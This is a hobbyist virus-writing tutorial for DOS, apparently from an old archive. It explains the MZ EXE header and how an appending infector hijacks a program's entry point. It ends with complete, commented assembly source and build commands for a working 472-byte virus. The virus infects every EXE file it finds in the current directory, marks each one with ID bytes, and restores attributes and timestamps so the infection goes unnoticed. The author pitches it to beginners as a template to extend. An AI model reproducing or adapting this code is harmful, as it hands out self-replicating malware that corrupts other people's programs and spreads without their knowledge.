home *** CD-ROM | disk | FTP | other *** search
- ┌──────────────────────────────────────────┐
- │ Direct EXE infection tutorial │
- │ by Virtual Daemon │
- └──────────────────────────────────────────┘
-
- Well, here we go again... ;) This time, with something more "advanced"! :P
- Now that U've seen how a direct COM virus works, it's time to check out on the
- other friend of the programmer: the EXE file. Again, I must tell ya that the
- informations provided in this tutorial are only for the beginners corner, so
- if U have already made a simple EXE infector, I don't see the point for U to
- hang around here anymore... Go away and do somethin more usefull... Clean the
- house, cook dinner, drink a beer, go to a movie, or whatever U feel like doin
- now, but please .... GO! :)
-
- Ok. Since U're still here, I imagine that U don't know what the hell is an
- EXE file, how it works and how to infect it... Well relax, bcoz this little
- tutorial will do the trick for U. I'll try to keep it as simple as I can, and
- I'll make sure that U will get all this crap. So, hold on in there bcoz U aint
- goin nowhere till U get this... :)
-
- First of all, you need to know what is a EXE program, how it works, and what
- is it's structure. I wont give you too much technical shit, bcoz U wont
- understand it anyway. Don't worry it will come to you later, after you work on
- it for a while.
- Well, in my previous tutorial (Direct COM infections) I told you that COM
- files are the simplest binary programs, also called memory images. Due to the
- restriction of its size (max 64K=size of a segment), the COM programs aren't
- used so more this days... The programmer is trying to develop a good software
- or a large application and that takes some space. So, here begins our little
- trip to the EXEland... :)
-
- COM programs are still used for small, tiny aplications or utilities, but
- the true power of a program lies in a EXE file.
-
- "So, how can a EXE program be so different from a COM one?", you wonder...
- Well, the main advantage of the EXE program is that it's size isn't limited to
- 64k. That means that a EXE program can have any size U want it to have... The
- only thing that will stop you is your RAM or your HD!
- Anyway, a program bigger than 64k can't be loaded and executed in a single
- segment anymore! Well, this is the most important feature of an EXE file: it can
- have more then one segment. So, from now on, U wont be forced to erase parts of
- your application, or destroy some of your variables just bcoz you can't put all
- your stuff in those 64k and these limits will stop ya... :)
-
- Well, now U know that the EXE files may make use of multiple segments for
- code, stack, and data. The design of the EXE file reflects the segmented design
- of the Intel 80x86 CPU architecture.
- Another important thing would be that a EXE program can be loaded in any
- memory location. This fact impose the adjustement of all your instructions that
- contains segment addresses, like:
- ■ JMP/CALL FAR PTR name
- ■ MOV reg, SEG name
- ■ MOV reg_seg, value
- This process is called "relocation" and it's executed when the program loads
- in memory. Anyway, this isn't so important for you right now... ;)
-
- Well, it is *ABSOLUTELY* obvious that an EXE program must contain, besides
- your program (code) some technical informations about the relocable simbols,
- the start address, the address of the stack segment, etc. This informations
- are stored in the first part of your EXE file, part called "the EXE header".
- So, a EXE file is separated in 2 parts: the header and the real program.
- Now that you know all this, let's see how does the EXE header looks like:
-
- ┌────────┬──────┬──────────┬───────────────────────────────────────────┐
- │ Offset │ Size │ Contents │ Description │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │∙ 0h │ Word │ 4Dh 5Ah │ EXE signature (4Dh='M' and 5Ah='Z').These │
- │ │ │ │ 2 ASCII letters (M and Z) stand for Mark │
- │ │ │ │ Zbikowski, one of the major DOS coders at │
- │ │ │ │ Microsoft. Note: in some cases the MZ can │
- │ │ │ │ be replaced with ZM (5Ah 4Dh) │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 2h │ Word │ PartPag │ Length of file mod (modulo) 512 │
- │ │ │ │length mod 512=nr of bytes in the last page│
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 4h │ Word │ PageCnt │ Size of the file in 512 byte pages │
- │ │ │ │ including the header. If the last page is │
- │ │ │ │ not full it is still included in the count│
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ 6h │ Word │ ReloCnt │ Number of items in relocation table │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ 8h │ Word │ HdrSize │ Size of the header in 16-byte paragraphs. │
- │ │ │ │ This is used to locate the beginning of │
- │ │ │ │ the real program (load module) in the file│
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ 0Ah │ Word │ MinMem │ Minimum memory required above the end of │
- │ │ │ │ the loaded program in 16-byte paragraphs. │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ 0Ch │ Word │ MaxMem │ Maximum memory required above the end of │
- │ │ │ │ the loaded program in 16-byte paragraphs. │
- │ │ │ │ If the minimum and maximum number of │
- │ │ │ │ paragraphs are both zero, the program will│
- │ │ │ │ be loaded as high in memory as possible. │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 0Eh │ Word │ ReloSS │ Segment offset of stack segment.(Used for │
- │ │ │ │ setting the SS register) │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 10h │ Word │ ExeSP │ Value for SP register (stack pointer) when│
- │ │ │ │ the program is started. │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │∙ 12h │ Word │ Checksum │ Negative sum of all the words in the file │
- │ │ │ │ ignoring overflow. Good place to store │
- │ │ │ │ the ID bytes of your virus... :) │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 14h │ Word │ ExeIP │ Value for IP register (initial instruction│
- │ │ │ │ pointer) when the program is started. │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │■ 16h │ Word │ ReloCS │ Segment offset of code segment. (Used for │
- │ │ │ │ setting the CS register) │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │∙ 18h │ Word │ TablOff │ File offset of the relocation table. │
- │ │ │ │ (Often set to 1Ch) │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │∙ 1Ah │ Word │ Overlay │ Overlay marker (0 for base module). │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ 1Ch │ Byte │ ? │ (undocumented) Usually equal to 01h, this │
- │ │ │ │ value indicates the size of formatted │
- │ │ │ │ portion of EXE header. │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ ? │ 4*? │ Ofs Seg │ Relocation table. │
- │ │ │ .... │ Has [EXE+6] DWORD entries. │
- │ │ │ Ofs Seg │ │
- ├────────┼──────┼──────────┼───────────────────────────────────────────┤
- │ ? │ ? │ │ Filler to a paragraph boundry. │
- └────────┴──────┴──────────┴───────────────────────────────────────────┘
- Note: the offsets marked with '■'=important for our virus
- '∙'=optional for our virus
- Ok. Why important offsets and why optional? Well, the optional offset can
- be used for checking different things like:
- - the EXE signature (MZ or ZM) can be used to check if the file you have found
- is really an EXE file and not just a ordinary re-named file;
- - the Checksum from offset 12h can be a good place to store your ID bytes
- (ID bytes=one or two bytes that will "mark" an infected file);
- - the TablOff from offset 18h can be used to check if the file is a normal
- DOS EXE file or if is a PE or NE file. To check this see if the TablOff is
- greater then 64 (40h). If it is then the EXE file is in NE or PE format and
- you wont be able to infect it...
- Important Note: all "normal" Windows EXE files have TablOff equal to '@'!
- - the Overlay word value located at offset 1Ah can be used to check if the
- file has overlays or not. To check this, compare the Overlay with 0. If
- equal then the file doesn't have overlays and all it's ok. If not, then
- the file has internal overlays (in most of the cases) and by infecting it
- you will destroy the informations.
-
- It will be very good if U could do some test with the EXE header, like open
- a bunch of EXE files and read some infos from the header (like PartPag and
- PageCnt) and then compare them with the real values (the real size of the file).
- To find the size of a file use the following formula:
- Size_of_File:=((PageCnt-1)*512)+PartPag
-
- The relocation table contains the addresses of all the words that needs
- "adjustement". The relocation table has ReloCnt elements beginning at TablOff
- position in the file, and it it's size is ReloCnt*4 bytes.
-
- Now that you know how the EXE files look, let's take a look at how it works.
- The relocation of the program is done by the DOS Exec function (4bh) and
- contains the following steps:
- 1) Create a PSP via DOS Function 26h
- 2) Read 1Ch bytes from the EXE file (the formatted portion of the EXE header)
- into a local memory area
- 3) Determine the load module size = ((PageCnt*512)-(HdrSize*16))-PartPag
- 4) Determine file offset of load module = (HdrSize*16)
- 5) Select a segment address START_SEG for loading (usually PSP+10h)
- 6) Read the load module into memory starting at START_SEG:0000
- 7) LSEEK (set file pointer) to the start of the relocation table (TablOff)
- 8) For each relocation item (ReloCnt):
- - read the item as two 16-bit words (I_OFF,I_SEG)
- - find the address of relocation ref RELO_SEG=(START_SEG+I_SEG)
- - read the current value, the word from address RELO_SEG:I_OFF
- - perform the segment fixup by adding START_SEG to that word
- - store the value back to its original address (RELO_SEG:I_OFF)
- 9) Allocate memory for the program according to MinMem and MaxMem
- 10) Initialize registers and execute program:
- - ES=DS=PSP
- - SS=START_SEG+ReloSS
- - SP=ExeSP
- - CS=START_SEG+ReloCS
- - IP=ExeIP
- Note: the initialization of CS and IP is done by
- PUSH START_SEG+ReloCS
- PUSH ExeIP
- RETF
-
-
- Well, I hope this covers all you wanted and have to know about EXE programs.
- Now let's get back to some action...;P First the theory and then the code.
-
- EXE infection isn't that different from COM infection. The main difference
- between the 2 types of infection is that the EXE one needs some calculations.
- You learned (I hope ;) how a COM virus replicates: save the 1st 3 (or more)
- bytes from BOF (beginning of program) in a buffer, go to the EOF (end of file)
- and write the virus body, build a JMP instruction with the location to the
- end of file (respectively our virus), then write the new JMP to BOF and finally
- restore control to original program (host). Well EXE infection is mostly the
- same shit. Aehm... here are the steps:
- - read the EXE header (from BOF of course ;) in a buffer (1ch bytes)
- - save from the EXE header some values that will be needed when we'll pass
- control to the original file (ReloSS, ExeSP, ExeIP and ReloCS from 0eh, 10h,
- 14h and 16h - respectively SS, SP, IP and CS registers)
- - calculate new values (offsets) for stack segment (SS) and code segment (CS),
- adjust the IP register (see bellow)
- - go to EOF and write the virus body
- - calculate new values for PartPag (offset 02h) and PageCnt (offset 04h)
- (see bellow)
- - go to BOF and overwrite the old header with our new copy
- - pass control to our host by reseting stack to original value and by setting
- the CS:IP to point to original entry point, and DS and ES to point to PSP.
-
- Well, like I said bfor this is just pure theory... I'll try to explain some
- of it now, and then we'll get to our real goal... :)
-
- I bet you are wondering what is that bullshit with "calculating new values
- for CS:IP"... Well, if we look a little to the EXE header we see what this values
- means!
- CS:IP=ReloCS:ExeIP
- ReloCS=offset of code segment... this value represents the offset of the
- program's code. Why are we modifying this? Well, we must make the file to
- jump to our virus first, right? This can't be done like we've done it with COMs,
- by putting a JMP to beginning of file. All we have to do on EXEs is to make
- the ReloCS to point to our virus instead of pointing to the real code.Then,when
- the virus has finished its work, we will pass control to the real program by
- putting back the old ReloCS value (in memory, not on disk).
- ExeIP=value for IP register when the program is started... But what is this
- IP register anyway? The IP register contains the address of the current
- instruction. So, we'll modify the IP register to point to our first instruction
- from the virus body (the entry point of our virus).
-
- This is the part with the calculation of CS and IP. The SS (stack segment)
- register should be equal to CS (code segment), so after you have found out the
- value for CS, just equal SS to it too (for calculation, see the virus).
-
- The next important thing that must be modified from the EXE header is PartPag
- and PageCnt. Since the file has grown in size, we must re-calculate the file
- size and we must overwrite offsets 2 and 4 with the new values.
-
- That's all... It's easy isn't it?
- Now... the virus! If you don't get something from above, now it's the chance
- for you to understand.
- Btw, this isn't the simplest EXE infector... it's just the simplest DECENT
- EXE infector. All the code is well commented, so you shouldn't have any problem
- understanding it.
-
- All the steps are directly written in the virus code... It's easier to get it
- this way, believe me!
-
- Well, here it is... it's not my best, but i'm sure it's hell enough for you
- to learn the basic EXE appender. The code is not very well optimized... well,
- I guess that this is ur job! :-)) Bugs? Hmm... don't know any... if there are,
- learn by correcting them. ;)
-
- Have fun!
- ---------- cut here ----------
- ; Name: Example
- ; Type: Direct appending EXE infector
- ; Size: 472 bytes
- ; Comments: the virus will search for EXE files in current directory. If no
- ; filles are found, the virus will restore control to its host. If
- ; it founds EXEs, he will try to infect the first one. If the file
- ; has been already infected, he will close the file and search for
- ; another one. The cycle will repeat untill all the EXE filles from
- ; current directory are infected.
- ; The virus infects read-only filles and restore time/date/attributes.
- ; The virus will check too see if: - the file is really EXE (MZ scan)
- ; - the file is a Windows EXE
- ; - the file has internal overlays
- ; Assembled with: tasm example.asm
- ; tlink /t example.obj
- code segment
- assume cs:code,ds:code
- org 100h ;starts at 100h => 1st host will be a COM file
- virus_start:
- db 0e9h,3,0 ;jump to begin
- our_host:
- db 0cdh,20h,0 ;=Int 20h
- begin:
- call find_offset
- find_offset:
- ; ──────────────────── Step 1 - Calculate the DELTA offset ────────────────────
- pop bp ;bp holds IP at start
- sub bp,offset find_offset ;=>bp=delta offset
-
- push ds es ;save original DS and ES
-
- push cs
- pop ds ;CS=DS
-
- ; ───────────────── Step 2 - Save parts of the header on stack ────────────────
- ; _cs is the offset used by our JMP instruction to return to the host
- ; exe_cs is the original CS register
- mov ax,word ptr [bp+exe_cs] ;equal _cs with exe_cs
- mov word ptr [bp+_cs],ax
-
- ;save CS:IP and SS:SP on stack
- push [bp+exe_cs] ;save CS
- push [bp+exe_ip] ;save IP
- push [bp+exe_ss] ;save SS
- push [bp+exe_sp] ;save SP
-
- ; ────────────────────────── Step 3 - Set a new DTA ───────────────────────────
- mov ah,1ah ;DOS function=Set Disk Transfer Address
- lea dx,[bp+offset dta] ;set a new DTA buffer
- int 21h
-
- ; ───────────────────────── Step 4 - Find a EXE file ──────────────────────────
- mov ah,4eh ;DOS function=Find 1st Matching File
- lea dx,[bp+filespec] ;search for "filespec" files only (*.EXE)
- mov cx,7 ;any file attribute
- do_it:
- int 21h
- jnc next_step ;if no error, continue
- jmp exit ;if error then pass control to host
- next_step:
- ; ─────────────────────── Step 5 - Get file attributes ────────────────────────
- mov ax,4300h ;DOS function=Get File Attributes
- lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh)
- int 21h
- mov word ptr [bp+file_attr],cx ;save the file attributes
-
- ; ───────────────── Step 6 - Set new attributes (archive only) ────────────────
- mov ax,4301h ;DOS function=Set File Attributes
- lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh)
- xor cx,cx ;set archive only attributes
- int 21h
-
- ; ─────────────────── Step 7 - Open file for RW (read-write) ──────────────────
- mov ax,3d02h ;DOS function=Open File For Read-Write
- lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh)
- int 21h
- jnc continue ;if no error, continue
- jmp abort ;if error put old attributes and search for
- ;another file
- continue:
- xchg bx,ax ;put file handle in bx
-
- ; ──────────────────────── Step 8 - Get file time/date ────────────────────────
- mov ax,5700h ;DOS function=Get File Time/Date
- int 21h
- mov word ptr [bp+file_time],cx ;save file time
- mov word ptr [bp+file_date],dx ;save file date
-
- ; ──────────────────────── Step 9 - Read the Exe header ───────────────────────
- mov ah,3fh ;DOS function=Read From File
- mov cx,1ch ;read the EXE header (1ch bytes)
- lea dx,[bp+offset header] ;store it into our 'header' buffer
- int 21h
-
- ; ───────────────── Step 10 - Check if the file is a real EXE ─────────────────
- cmp word ptr [bp+header],'ZM' ;check if the 1st 2 bytes are MZ or ZM
- je infect
- cmp word ptr [bp+header],'MZ'
- je infect
- jmp another ;if not equal then the file isn't a real EXE
- ;it's just a re-named file
- infect:
- ; ────────────── Step 11 - Check if the file is already infected ──────────────
- cmp word ptr [bp+header+10h],'DV' ;check for our ID bytes
- jne done
- jmp another ;if equal then the file has already been
- ;infected
- done:
- ; ─────────────── Step 12 - Check if the file is a Windows EXE ────────────────
- ;Note: you could also check for NE or PE by comparing if greater then 64
- cmp byte ptr [bp+header+18h],'@' ;check to see if the file is a WinEXE
- jne no_win
- jmp another ;oups... WinEXE here. We can't infect it this
- ;way...
- no_win:
- ; ───────────── Step 13 - Check if the file has internal overlays ─────────────
- cmp word ptr [bp+header+1ah],0 ;check for internal overlays
- je no_overlay
- jmp another
- no_overlay:
- push bx ;save file handle
-
- ; ────────────── Step 14 - Save important parts from the header ───────────────
- mov ax,word ptr [bp+header+0eh] ;save SS
- mov word ptr [bp+exe_ss],ax
- mov ax,word ptr [bp+header+10h] ;save SP
- mov word ptr [bp+exe_sp],ax
- mov ax,word ptr [bp+header+14h] ;save IP
- mov word ptr [bp+exe_ip],ax
- mov ax,word ptr [bp+header+16h] ;save CS
- mov word ptr [bp+exe_cs],ax
-
- ; ─────────────────── Step 15 - Seek to EOF (end of file) ─────────────────────
- mov ax,4202h ;DOS function=Set File Pointer (Seek) to EOF
- xor cx,cx
- cwd
- int 21h
-
- push ax dx ;ax and dx holds the file size
-
- ; ──────────────── Step 16 - Calculate the new CS:IP address ──────────────────
- ;
- ; Short theory
- ; ────────────
- ;
- ; We need to get the size of the EXE header in paras. Then we have to convert
- ; it into bytes (by multiplying with 16). After this, we have to substract the
- ; header size from the file size, and then to put it back into the seg:ofs form.
- ; We accomplish this by divideing with 16.
- ;
- mov bx,word ptr [bp+header+8h] ;get the size of the header in para
- ;a paragraph is 16 bytes and we need the size in bytes, so we multiply by 16
- mov cl,4
- shl bx,cl ;shl will rotate the bits to left with 4
- ;positions. this is the same result as
- ;multiplying with 16.
- ;now, BX is equal to length of header in bytes
- ;AX holds the filesize (low word)
- sub ax,bx ;now we substract the size of the header from
- ;the size of the file
- sbb dx,0 ;if CF is set it will substract 1, else 0
- ;now, DX:AX will contain the file size-the size of the header
-
- ;we must convert the DX:AX to segment:offset form because now it's just a value
- ;for converting to segment:offset we must divide by 16 (it's obvious why...we
- ;multiplyed by 16 when we had to trasform into bytes... now we're going back)
- mov cx,10h ;cx=10h=16
-
- div cx ;divide by 16
- ; AX=(DX:AX) / 16
- ; DX=(DX:AX) mod 16
- ;now, the DX:AX contains the CS:IP entry point (stored backwards - IP:CS)
-
- ;save the new CS:IP in the header buffer. also save the SS and put our ID bytes.
- mov word ptr [bp+header+14h],dx ;put the offset (ExeIP)=new entry point
- mov word ptr [bp+header+16h],ax ;put the segment offset of code seg
- mov word ptr [bp+header+0eh],ax ;put the segment offset of stack seg
- mov word ptr [bp+header+10h],'DV' ;put our ID bytes at 10h
- ; blah... you could use 12h (ChkSum) instead of 10h...
-
- pop dx ax bx ;restore original file size and file handle
-
- ; ────────── Step 17 - Calculate new values for PartPag and PageCnt ───────────
- ;
- ; Short theory
- ; ────────────
- ;
- ; This one is simple. All we have to do, is to add the size of our virus
- ; to the size of the file, and then to convert it into pages by divideing with
- ; 512.
- ;
-
- ; AX and DX holds the file size
- add ax,heap-begin ;add the virus size to the original file size
- adc dx,0 ;if CF add 1, else 0
- mov cx,512 ;convert the result into pages by divideing
- div cx ;with 512
- inc ax ;add one for rounding up
- mov word ptr [bp+header+4],ax ;put new PageCnt
- mov word ptr [bp+header+2],dx ;put new PartPag
-
- ; ─────────────────── Step 18 - Write the virus body to EOF ───────────────────
- mov ah,40h ;DOS function=Write To File
- mov cx,heap-begin ;cs=size to write=size of our virus
- lea dx,[bp+offset begin] ;start from "begin"
- int 21h
-
- ; ───────────────── Step 19 - Seek to BOF (beginning of file) ─────────────────
- mov ax,4200h ;DOS function=Set File Pointer (Seek) to BOF
- xor cx,cx
- cwd
- int 21h
-
- ; ────────────────────── Step 20 - Write the new header ───────────────────────
- mov ah,40h ;DOS function=Write To File
- mov cx,1ch ;cx=size to write=size of the EXE header
- lea dx,[bp+offset header] ;write from "header" buffer
- int 21h
-
- ; ───────────────── Step 21 - Restore original file time/date ─────────────────
- mov dx,word ptr [bp+file_date] ;dx=original date value
- mov cx,word ptr [bp+file_time] ;cx=original time value
- mov ax,5701h ;DOS function=Set File Time/Date
- int 21h
- another:
- ; ───────────────────────── Step 22 - Close the file ──────────────────────────
- mov ah,3eh ;DOS function=Close File
- int 21h
- abort:
- ; ─────────────────── Step 23 - Restore original attributes ───────────────────
- mov ax,4301h ;DOS function=Set File Attributes
- lea dx,[bp+offset dta+1eh] ;get file name from DTA
- mov cx,word ptr [bp+file_attr] ;restore original attributes
- int 21h
-
- ; ──────────────────── Step 24 - Search for a new EXE file ────────────────────
- mov ah,4fh ;DOS funtion=Find Next Matching File
- lea dx,[bp+filespec] ;search for "filespec" files only (*.EXE)
- jmp do_it
- exit:
- ; ───────────── Step 25 - Restore parts of the header from stack ──────────────
- ;restore CS:IP and SS:SP from stack
- pop [bp+exe_sp] ;restore SP
- pop [bp+exe_ss] ;restore SS
- pop [bp+exe_ip] ;restore IP
- pop [bp+exe_cs] ;restore CS
- ; ───────────────────────── Step 26 - Restore the DTA ─────────────────────────
- mov ah,1ah ;DOS function=Set Disk Transfer Address
- mov dx,80h ;change the DTA to original (DTA is stored at 80h in the PSP)
- int 21h
-
- pop es ds ;restore ES and DS registers
-
- ; ─────────────────── Step 27 - Restore control to the host ───────────────────
- mov ax,es ;ax will point to PSP
- add ax,10h ;skip over PSP (ax<-PSP+10h)
- add word ptr cs:[bp+_cs],ax
-
- ; _ip is one of the offsets for our jump to return to the host
- ; see step 2 for setting CS
- mov bx,word ptr cs:[bp+exe_ip] ;make _ip equal with exe_ip
- mov word ptr cs:[bp+_ip],bx
-
- cli ;clear interrupt flag
- mov sp,word ptr cs:[bp+exe_sp] ;adjust ExeSP
- add ax,word ptr cs:[bp+exe_ss] ;restore the stack
- mov ss,ax ;adjust ReloSS
- sti ;set interrupt flag
-
- xor ax,ax ;clear registers: ax,bx,cx,dx,si,di
- xor bx,bx
- xor cx,cx
- xor dx,dx
- xor di,di
- xor si,si
- xor bp,bp
-
- db 0eah ;jmp far ptr seg:ofs (CS:IP)
- _ip dw 0 ;IP and CS registers used as offset for
- _cs dw 0 ;db 0eah (JMP) instruction
-
- ;these are the original values for CS:IP and SS:SP
- exe_cs dw 0fff0h ;CS:IP
- exe_ip dw 0
- exe_sp dw 0 ;SS:SP
- exe_ss dw 0
- filespec db '*.exe',0
- heap: ;this is the end of the virus
- file_attr dw ?
- file_time dw ?
- file_date dw ?
- header db 1ch dup (?)
- dta db 43 dup (?)
- code ends
- end virus_start
- ---------- cut here ----------
-
- You can reach me via e-mail at: virtual_daemon@hotmail.com
-